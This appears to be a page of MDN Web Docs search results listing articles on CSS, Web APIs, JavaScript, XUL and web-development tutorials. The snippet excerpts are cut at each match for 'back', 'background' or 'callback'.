the breakdown: 1 master screen media file which imports 4 files: a base file (bulk of formatting) a file for finance/table formatting color file (override colors and
background images for specific color scheme) temp file (used for styles associated with temporary features and ad-related pages) 1 print media file 1 aural media file 3 master alternate style sheets which import 1 file each the 3 imported files set alternate font sizes (small, large, larger) how much did the size of a typical wired news page shrink?
...despite some initial set
backs with those approaches due to our own unique scenarios, it wasn't long before i discovered a variation of one of their methods that worked for the wired news design.
... by eliminating tables that were strictly used for layout, we significantly cut
back on the amount of markup and useless tags in our html, and gained a structure that is much easier to maintain.
...And 5 more matches
MMgc - Archive of obsolete content
0xfbfbfbfb a block given
back to the heap manager is memset to this (fb == free block).
...this has been shown to cut the finalize/sweep pause in half (which happens
back to
back atomically).
...whenever a pointer to a white object is written to a black object we have to intercept that write and remember to go
back and put the white object in the work queue, that's what a write barrier does.
...And 5 more matches
jspage - Archive of obsolete content
on(b,a){window[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execcommand("
backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:function(c...
...t||a.toelement;}if(!(function(){while(l&&l.nodetype==3){l=l.parentnode;}return true;}).create({attempt:browser.engine.gecko})()){l=false; }}}}return $extend(this,{event:a,type:j,page:i,client:c,rightclick:e,wheel:h,relatedtarget:l,target:g,code:b,key:m,shift:a.shiftkey,control:a.ctrlkey,alt:a.altkey,meta:a.metakey}); }});event.keys=new hash({enter:13,up:38,down:40,left:37,right:39,esc:27,space:32,
backspace:8,tab:9,"delete":46});event.implement({stop:function(){return this.stoppropagation().preventdefault(); },stoppropagation:function(){if(this.event.stoppropagation){this.event.stoppropagation();}else{this.event.cancelbubble=true;}return this;},preventdefault:function(){if(this.event.preventdefault){this.event.preventdefault(); }else{this.event.returnvalue=false;}return this;}});function class(...
...)width|margin|padding)/)){return"0px";}}return a;},setstyles:function(b){for(var a in b){this.setstyle(a,b[a]); }return this;},getstyles:function(){var a={};array.flatten(arguments).each(function(b){a[b]=this.getstyle(b);},this);return a;}});element.styles=new hash({left:"@px",top:"@px",bottom:"@px",right:"@px",width:"@px",height:"@px",maxwidth:"@px",maxheight:"@px",minwidth:"@px",minheight:"@px",
backgroundcolor:"rgb(@, @, @)",
backgroundposition:"@px @px",color:"rgb(@, @, @)",fontsize:"@px",letterspacing:"@px",lineheight:"@px",clip:"rect(@px @px @px @px)",margin:"@px @px @px @px",padding:"@px @px @px @px",border:"@px @ rgb(@, @, @) @px @ rgb(@, @, @) @px @ rgb(@, @, @)",borderwidth:"@px @px @px @px",borderstyle:"@ @ @ @",bordercolor:"rgb(@, @, @) rgb(@, @, @) rgb(@, @, @) rgb(@, @, @)",zindex:...
...And 5 more matches
Treehydra Manual - Archive of obsolete content
call
backs and gcc intermediate representations like dehydra, treehydra sends program representations to the user javascript via call
backs.
... there are 3 treehydra call
backs.
... note that the call
backs interact with other treehydra options.
...And 5 more matches
appendNotification - Archive of obsolete content
« xul reference home appendnotification( label , value , image , priority , buttons, eventcall
back ) return type: element create a new notification and display it.
... eventcall
back optional - a javascript function to call to notify you of interesting things that happen with the notification box.
...each description is an object with the following properties: accesskey - the accesskey to appear on the button call
back - function to be called when the button is activated.
...And 5 more matches
XUL accessibility guidelines - Archive of obsolete content
it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no previous
background in accessibility—can understand them.
...(firefox's "print preview" window uses this fall
back technique.) this should only be used as a last resort, and it should be consistent throughout a window (that is either all toolbar buttons are tabbable or none of them are).
...users can also refer
back to the title to get a sense of where they are located.
...And 5 more matches
wizard - Archive of obsolete content
= (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode();"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> attributes activetitlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
... canrewind type: boolean this property is set to true if the user can press the
back button to go to the previous page.
...And 5 more matches
Debug - Archive of obsolete content
constants async call
back status codes contant description value debug.ms_async_call
back_status_assign_delegate the synchronous work item assigned a call
back or continuation to be run by an asynchronous operation.
... 0 debug.ms_async_call
back_status_join the synchronous work item satisfied part of a join asynchronous operation.
... 1 debug.ms_async_call
back_status_chooseany the synchronous work item satisfied a choice asynchronous operation.
...And 5 more matches
Efficient animation for web games - Game development
there are signals at the beginning and end of animations that allow you to attach javascript call
backs and form a rudimentary form of synchronisation (though there are no guarantees on how promptly these call
backs will happen).
...requestanimationframe includes a domhighrestimestamp in its call
back function prototype, which you definitely should use (as opposed to using the date object), as this will be the time the frame began rendering, and ought to make your animations look more fluid.
... you may have a call
back that ends up looking something like this: var starttime = -1; var animationlength = 2000; // animation length in milliseconds function doanimation(timestamp) { // calculate animation progress var progress = 0; if (starttime < 0) { starttime = timestamp; } else { progress = timestamp - starttime; } // do animation ...
...And 5 more matches
Styling tables - Learn web development
start by adding the following css to your style.css file, again at the bottom: /* graphics and colors */ thead, tfoot {
background: url(leopardskin.jpg); color: white; text-shadow: 1px 1px 1px black; } thead th, tfoot th, tfoot td {
background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); border: 3px solid purple; } again, there's nothing specific to tables here, but it is worthwhile to note a few things.
... we've added a
background-image to the <thead> and <tfoot>, and changed the color of all the text inside the header and footer to white (and given it a text-shadow) so it is readable.
... you should always make sure your text contrasts well with your
background, so it is readable.
...And 5 more matches
CSS values and units - Learn web development
in the following example we have set the color of our heading using a keyword, and the
background using the rgb() function: h1 { color: black;
background-color: rgb(197,93,161); } a value in css is a way to define a collection of allowable sub-values.
...the same color values can be used everywhere in css, whether you are specifying text color,
background color, or whatever else.
... in the example below i have added a
background image to the containing block of our colored boxes.
...And 5 more matches
Grids - Learn web development
simple grid example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container > div { border-radius: 5px; padding: 10px;
background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> .container { display: grid; grid-template-columns: 200px 200px 200px; } flexible grids with the fr unit in addition to creating grids using lengths and perc...
... simple grid example with fr units body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { display: grid; grid-template-columns: 2fr 1fr 1fr; } .container > div { border-radius: 5px; padding: 10px;
background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> note: the fr unit distributes available space, not all space.
... simple grid example with fr units body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { display: grid; grid-template-columns: 2fr 1fr 1fr; grid-gap: 20px; } .container > div { border-radius: 5px; padding: 10px;
background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> note: the *gap properties used to be prefixed by grid-, but this has been changed in the spec, as the intention is to make them usable in multiple l...
...And 5 more matches
Practical positioning examples - Learn web development
add the following css: .info-box li { float: left; list-style-type: none; width: 150px; } .info-box li a { display: inline-block; text-decoration: none; width: 100%; line-height: 3;
background-color: red; color: black; text-align: center; } finally for this section we'll set some styles on the link states.
... first, we'll set the :focus and :hover states of the tabs to look different when they are focused/hovered, providing users with some visual feed
back.
...place the following css below your other styles: .info-box li a:focus, .info-box li a:hover {
background-color: #a60000; color: white; } .info-box li a.active {
background-color: #a60000; color: white; } styling the panels the next job is to style our panels.
...And 5 more matches
Video and audio content - Learn web development
controls users must be able to control video and audio play
back (it's especially critical for people who have epilepsy.) you must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate javascript api.
... the paragraph inside the <video> tags this is called fall
back content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fall
back for older browsers.
...each web browser supports an assortment of codecs, like vorbis or h.264, which are used to convert the compressed audio and video into binary data and
back.
...And 5 more matches
A first splash into JavaScript - Learn web development
you got it right!'; lastresult.style.
backgroundcolor = 'green'; loworhi.textcontent = ''; setgameover(); } else if (guesscount === 10) { lastresult.textcontent = '!!!game over!!!'; loworhi.textcontent = ''; setgameover(); } else { lastresult.textcontent = 'wrong!'; lastresult.style.
backgroundcolor = 'red'; if(userguess < randomnumber) { loworhi.textcont...
...{ guesscount = 1; const resetparas = document.queryselectorall('.resultparas p'); for(let i = 0 ; i < resetparas.length ; i++) { resetparas[i].textcontent = ''; } resetbutton.parentnode.removechild(resetbutton); guessfield.disabled = false; guesssubmit.disabled = false; guessfield.value = ''; guessfield.focus(); lastresult.style.
backgroundcolor = 'white'; randomnumber = math.floor(math.random() * 100) + 1; } </script> </body> </html> have a go at playing it — familiarize yourself with the game before you move on.
... once the game restarts, make sure the game logic and ui are completely reset, then go
back to step 1.
...And 5 more matches
Aprender y obtener ayuda - Learn web development
some of the articles will be tutorials, to teach you a certain technique or important concept (such as "learn how to create a video player" or "learn the css box model"), and some of the articles will be reference material, to allow you to look up details you may have forgotten (such as "what is the syntax of the css
background property"?) mdn web docs is very good for both types — the area you are currently in is great for learning techniques and concepts, and we also have several giant reference sections allowing you to look up any syntax you can't remember.
...that just leads to frustration — it is often better to take a break, move around for a bit, then relax with a drink before getting
back to work, and as we said earlier, the diffuse learning you do in that time can often help you to figure out a solution to the problem you were facing.
... it is also physically bad to work for too long without a break — looking at a monitor for too long can hurt your eyes, and sitting still for too long can be bad for your
back or legs.
...And 5 more matches
Working with Svelte stores - Learn web development
nst unsubscribe = alert.subscribe(value => alertcontent = value) ondestroy(unsubscribe) </script> {#if alertcontent} <div on:click={() => alertcontent = ''}> <p>{ alertcontent }</p> </div> {/if} <style> div { position: fixed; cursor: pointer; margin-right: 1.5rem; margin-left: 1.5rem; margin-top: 1rem; right: 0; display: flex; align-items: center; border-radius: 0.2rem;
background-color: #565656; color: #fff; font-size: 0.875rem; font-weight: 700; padding: 0.5rem 1.4rem; font-size: 1.5rem; z-index: 100; opacity: 95%; } div p { color: #fff; } div svg { height: 1.6rem; fill: currentcolor; width: 1.4rem; margin-right: 0.5rem; } </style> let's walk through this piece of code in detail.
... next we import the ondestroy() lifecycle function, which lets us execute a call
back after the component has been unmounted.
... then we call the method alert.subscribe(), passing it a call
back function as a parameter.
...And 5 more matches
NSS API Guidelines
call
back functions, and functions used in function tables, should have a typedef used to define the complete signature of the given function.
... thread a releases the arena
back to the mark.
...some return allocated arrays of data, some return linked lists of data, others use call
backs to return data elements one at a time.
...And 5 more matches
JS_PropertyStub
default implementations of the required call
backs in jsclass.
...rather, they are convenient stand-ins anywhere the jsapi requires call
backs of certain types.
... js_propertystub is of type jspropertyop, the type of getter call
back.
...And 5 more matches
JS_THREADSAFE
most jsapi call
back functions are always called from within a request.
... these call
backs are (unreliably!) documented with the words "provides request", like this: name type description cx jscontext * the context in which the event ocurred.
...in js_threadsafe builds, the javascript engine calls this call
back only from within an active request on cx.
...And 5 more matches
SpiderMonkey 1.8
a handful of changes are not
backwards-compatible: the result of assigning to a property with a setter has changed (bug 312354).
... in certain cases, the javascript engine no longer calls jsclass.resolve call
backs repeatedly, as it did in previous versions.
... the security apis js_setcheckobjectaccesscall
back, js_setprincipalstranscoder, and js_setobjectprincipalsfinder are still present but are deprecated in this release.
...And 5 more matches
mozIStorageAggregateFunction
note this call
back is executed on the thread that the statement or trigger is executing on.
... if you use mozistorageconnection.executeasync() or, mozistoragestatement.executeasync() this call
back will run on a different thread from the rest of your code.
... likewise, if you execute sql on a different thread, this call
back will be executed on that thread.
...And 5 more matches
nsIBrowserSearchService
to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall
back to a slower, synchronous, initialization.
... if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the call
back to init().
... method overview void addengine(in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcall
back call
back); void addenginewithdetails(in astring name, in astring iconurl, in astring alias, in astring description, in astring method, in astring url); void getdefaultengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); nsisearchengine getenginebyalias(in astring alias); nsisearchengine getenginebyname(in astring aenginename); void getengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); void getvisibleengine...
...And 5 more matches
nsIDOMGeoGeolocation
ice(components.interfaces.nsidomgeogeolocation); note: if nsidgeogeolocation throws an exception when importing, try using this: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsisupports); method overview void clearwatch(in unsigned short watchid); void getcurrentposition(in nsidomgeopositioncall
back successcall
back, [optional] in nsidomgeopositionerrorcall
back errorcall
back, [optional] in nsidomgeopositionoptions options); unsigned short watchposition(in nsidomgeopositioncall
back successcall
back, [optional] in nsidomgeopositionerrorcall
back errorcall
back, [optional...
... methods clearwatch() when the clearwatch() method is called, the watch() process stops calling for new position identifiers and cease invoking call
backs.
...if this fails, errorcall
back is invoked with an nsidomgeopositionerror argument.
...And 5 more matches
nsIPushService
implemented by @mozilla.org/push/service;1 as a service: const pushservice = components.classes["@mozilla.org/push/service;1"] .getservice(components.interfaces.nsipushservice); method overview void subscribe(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncall
back call
back); void getsubscription(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncall
back call
back); void unsubscribe(in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcall
back call
back); methods subscribe() creates a push subscription.
... void subscribe( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncall
back call
back ); parameters scope the serviceworkerregistration.scope for a service worker subscription, or a unique url (for example, chrome://my-module/push) for a system subscription.
... call
back the call
back to call when the nsipushsubscription is created.
...And 5 more matches
nsITreeView
ecko 1.8 progress_none 3 note: renamed from progressnone in gecko 1.8 drop_before -1 drop_on 0 drop_after 1 indropbefore 0 obsolete since gecko 1.8 indropon 1 obsolete since gecko 1.8 indropafter 2 obsolete since gecko 1.8 methods candrop() methods used by the drag feed
back code to determine if a drag is allowable at the current location.
... candropbeforeafter() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method used by the drag feed
back code to determine if a drag is allowable at the current location.
... candropon() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method used by the drag feed
back code to determine if a drag is allowable at the current location.
...And 5 more matches
Animation - Web APIs
the animation interface of the web animations api represents a single animation player and provides play
back controls and a timeline for an animation node or source.
... animation.pending read only indicates whether the animation is currently waiting for an asynchronous operation such as initiating play
back or pausing a running animation.
... animation.playstate read only returns an enumerated value describing the play
back state of an animation.
...And 5 more matches
BaseAudioContext.decodeAudioData() - Web APIs
the decoded audiobuffer is resampled to the audiocontext's sampling rate, then passed to a call
back or promise.
... syntax older call
back syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcall
back, errorcall
back); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader.
... successcall
back a call
back function to be invoked when the decoding successfully finishes.
...And 5 more matches
Document.mozSetImageElement() - Web APIs
the document.mozsetimageelement() method changes the element being used as the css
background for a
background with a given
background element id.
... syntax document.mozsetimageelement(imageelementid, imageelement); parameters imageelementid is a string indicating the name of an element that has been specified as a
background image using the -moz-element css function.
... imageelement is the new element to use as the
background corresponding to that image element string.
...And 5 more matches
EventTarget.addEventListener() - Web APIs
see the event listener call
back for details on the call
back itself.
... return value undefined usage notes the event listener call
back the event listener can be specified as either a call
back function or an object that implements eventlistener, whose handleevent() method serves as the call
back function.
... the call
back function itself has the same parameters and return value as the handleevent() method; that is, the call
back accepts a single parameter: an object based on event describing the event that has occurred, and it returns nothing.
...And 5 more matches
MediaSessionActionDetails.action - Web APIs
the action property is the only required property mediasessionactiondetails dictionary, specifying the type of media session action which the action handler call
back is being executed for.
... syntax let mediasessionactiondetails = { action: actiontype }; let actiontype = mediasessionactiondetails.action; value a domstring specifying which of the action types the call
back is being invoked for: nexttrack advances play
back to the next track.
... pause pauses play
back of the media.
...And 5 more matches
Navigator.getUserMedia() - Web APIs
if permission is granted, a mediastream whose video and/or audio tracks come from those devices is delivered to the specified success call
back.
... if permission is denied, no compatible input devices exist, or any other error condition occurs, the error call
back is executed with a mediastreamerror object describing what went wrong.
... if the user instead doesn't make a choice at all, neither call
back is executed.
...And 5 more matches
Navigator.msLaunchUri() - Web APIs
syntax navigator.mslaunchuri(uri, successcall
back, nohandlercall
back); parameters uri a domstring specifying the url containing including the protocol of the document or resource to be displayed.
... successcall
backoptional a function matching the signature of mslaunchuricall
back to be executed if the protocol handler is present.
... nohandlercall
backoptional a function matching mslaunchuricall
back to be executed if the protocol handler is not present.
...And 5 more matches
Page Visibility API - Web APIs
with tabbed browsing, there is a reasonable chance that any given webpage is in the
background and thus not visible to the user.
...for example, if your web app is playing a video, it can pause the video when the user puts the tab into the
background, and resume play
back when the user returns to the tab.
... policies in place to aid
background page performance separately from the page visibility api, user agents typically have a number of policies in place to mitigate the performance impact of
background or hidden tabs.
...And 5 more matches
Migrating from webkitAudioContext - Web APIs
as the specification evolved and changes were made to the spec, some of the old implementation pieces were not removed from the webkit (and blink) implementations due to
backwards compatibility reasons.
...xt.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the audio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return immediately, and then when the decoding finishes, one of the success or failure call
back functions will get called depending on whether the audio decoding was successful.
... this means that you may need to restructure your code to run the part which happened after the createbuffer() call in the success call
back, as you can see in the example above.
...And 5 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
font size, font style (some fonts are so thin or fancy that they present accessibility problems on their own),
background color, the size of the
background space around the text, even pixel densities and more all affect how color is delivered from the screen.
... (see understanding success criterion 1.4.3: contrast) a viewer's distance from the screen, the ambient
background, the health of his eyes, and more all affect how that color is received by the viewer.
... first, because the blue cones are actually the most sensitive of the three, second, we have fewer blue cones than red or green, and third, it so happens that these "blue sensitive" cones tend to be located at the rims of our eyeballs, away from the center (fovea centralis) of the
back of the eyeball, where the red and green cones tend to cluster.
...And 5 more matches
Perceivable - Accessibility
decorative images should be implemented using css
background images (see
backgrounds).
... if you are including
background video or audio that autoplays, make it as unobtrusive as possible.
... guideline 1.4: make it easier for users to see and hear content including separating foreground from
background this guideline relates to making sure core content is easy to discern from
backgrounds and other decoration.
...And 5 more matches
color-adjust - CSS: Cascading Style Sheets
for example, when printing, a browser might opt to leave out all
background images and to adjust text colors to be sure the contrast is optimized for reading on white paper.
...for example, a page might include a list of information with rows whose
background colors alternate between white and a light grey.
... removing the
background color would decrease the legibility of the content.
...And 5 more matches
mix-blend-mode - CSS: Cascading Style Sheets
the mix-blend-mode css property sets how an element's content should blend with the content of the element's parent and the element's
background.
...cking contextyes formal syntax <blend-mode>where <blend-mode> = normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity examples effect of different mix-blend-mode values <div class="grid"> <div class="col"> <div class="note">blending in isolation (no blending with the
background)</div> <div class="row isolate"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <defs> <lineargradient id="red"> <stop offset="0" stop-color="hsl(0,100%,50%)" /> <stop offset="100%"...
...g viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> </div> <div class="note">blending globally (blend with the
background)</div> <div class="row"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <e...
...And 5 more matches
perspective-origin - CSS: Cascading Style Sheets
html <section> <figure> <figcaption><code>perspective-origin: top left;</code></figcaption> <div class="container"> <div class="cube potl"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: top;</code></figcaption> <div class="container"> <div class="cube potm"> <div class="face front">1</div> <div class="face
back">2</div> ...
... <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: top right;</code></figcaption> <div class="container"> <div class="cube potr"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: left;</code></figcaption> <div class="container"> <div class="cube poml"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3...
...</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: 50% 50%;</code></figcaption> <div class="container"> <div class="cube pomm"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: right;</code></figcaption> <div class="container"> <div class="cube pomr"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face ...
...And 5 more matches
transition-delay - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-delay: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height
background-color font-size left top color; transition-dura...
...tion:2s; transition-delay:0.5s; transition-timing-function: linear; } .box1{ width: 50px; height: 50px;
background-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -webkit-transition-property: width height
background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height
background-color font-size left top color; transition-duration:2s; transition-delay:0.5s; transition-timing-function: linear; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); ...
... el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-delay: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:1s; -webkit-transition-timing-function: linear; transition-property: width height
background-color font-size left top color; transition-duration:2s; transition-delay:1s; transition-timing-function: linear; } .box1{ width: 50px; height: 5...
...And 5 more matches
transition-duration - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transfor...
...m color; transition-duration:0.5s; transition-timing-function: ease-in-out; } .box1{ transform: rotate(270deg); -webkit-transform: rotate(270deg); width: 50px; height: 50px;
background-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transformv color; transition-duration:0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) ...
...{ el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top -webkit-transform color; -webkit-transition-duration:1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform color; transition-duration:1s; transition-t...
...And 5 more matches
Regular expression syntax cheatsheet - JavaScript
[\b] matches a
backspace.
...by placing a
backslash in front of "b", that is by using /\b/, the character becomes special to mean match a word boundary.
...to match * literally, precede it with a
backslash; for example, /a\*/ matches "a*".
...And 5 more matches
Set.prototype.forEach() - JavaScript
syntax myset.foreach(call
back[, thisarg]) parameters call
back function to execute for each element, taking three arguments: currentvalue, currentkey the current element being processed in the set.
... thisarg value to use as this when executing call
back.
... description the foreach() method executes the provided call
back once for each value which actually exists in the set object.
...And 5 more matches
TypedArray.prototype.every() - JavaScript
syntax typedarray.every(call
back[, thisarg]) parameters call
back function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
...value to use as this when executing call
back.
... return value true if the call
back function returns a truthy value for every array element; otherwise, false.
...And 5 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
there are earlier experiments going
back a long way in developing user interfaces using a combination of html and scripting languages, and xul could be considered an evolutionary step from that.
...by referring to a special style sheet within chrome://global/skin/, we can make label and button sizes, window
background color, etc, match the currently selected theme in firefox.
... figure 8: a button with an image icon attribute value icon attribute value accept close cancel print help add open remove save refresh find go-forward clear go-
back yes properties no select-font apply select-color table 2: values for the icon attribute toolbar buttons the toolbarbutton element is the element used to define toolbar buttons.
...And 4 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
while they are still viable for add-ons targeting only the latest firefox, those wishing to support older browsers will need to provide fall
backs.
... the code below contains an inefficient fall
back implementation for older browsers.
... it is worth noting, however, that while the animation-based implementation will fire any time an element which previously did not match the given selector is changed so that it does (when a class is added, for instance), the fall
back will only match nodes when they are inserted into the dom tree.
...And 4 more matches
Broadcasters and Observers - Archive of obsolete content
for instance, let's say that we want the
back action in a browser to be disabled.
... we would need to disable the
back command on the menu, the
back button on the toolbar, the keyboard shortcut (alt+left for example) and any
back commands on popup menus.
...it also has the disadvantage that we would need to know all of the places where a
back action could be.
...And 4 more matches
Using workers in extensions - Archive of obsolete content
« previous this article shows you how to use worker threads in extensions to perform tasks in the
background without blocking the user interface.
... how this differs from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information
back to the main body of the extension's code to update the display in the status bar.
... this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data
back and forth.
...And 4 more matches
Cascade and inheritance - Learn web development
it's a convenient way to undo changes made to styles so that you can get
back to a known starting point before beginning new changes.
... the first two selectors are competing over the styling of the link's
background color — the second one wins and makes the
background color blue because it has an extra id selector in the chain: its specificity is 201 vs.
... let's walk through this to see what's happening — try removing some of the properties to see what happens if you are finding it hard to understand: you'll see that the third rule's color and padding values have been applied, but the
background-color hasn't.
...And 4 more matches
Legacy layout methods - Learn web development
layout and grid systems before css grid layout it may seem surprising to anyone coming from a design
background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs.
...this knowledge will be helpful to you if you need to create fall
back code for browsers that do not support newer methods, in addition to allowing you to work on existing projects which use these types of systems.
...add the following rule to the bottom of your css: .col { float: left; margin-left: 20px; width: 60px;
background: rgb(255, 150, 150); } the top row of single columns will now lay out neatly as a grid.
...And 4 more matches
CSS basics - Learn web development
how do i decorate my webpage with
background images and colors?
...
background-color, the color behind an element's content and padding.
... changing the page color html {
background-color: #00539f; } this rule sets a
background color for the entire page.
...And 4 more matches
Beginning our React todo list - Learn web development
# move into the src directory of your project cd src # delete a few files rm -- app.test.js app.css logo.svg serviceworker.js setuptests.js # move
back up to the root of the project cd ..
...e into src/index.css so that it replaces what's currently there: /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible;
